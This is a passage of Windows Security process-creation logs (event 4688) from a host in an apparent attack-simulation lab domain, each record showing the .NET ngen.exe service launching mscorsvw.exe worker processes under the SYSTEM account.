	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 748 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254680
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 2bc -Pipe 664 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254679
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a8 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 7b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254684
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 2bc -Pipe 328 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254685
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 720 -Pipe 52c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254691
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254690
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 6e0 -Pipe 7b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254689
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 720 -Pipe 6bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254688
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7a8 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 6d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254687
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 720 -Pipe 2bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254686
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 6bc -Pipe 78c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6b8 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 67c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254692
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 770 -Pipe 6ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 7c8 -Pipe 360 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 770 -Pipe 700 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254697
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c0 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 4fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254696
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 704 -InterruptEvent 0 -NGENProcess 724 -Pipe 2b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254699
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 484 -Pipe 344 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254698
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
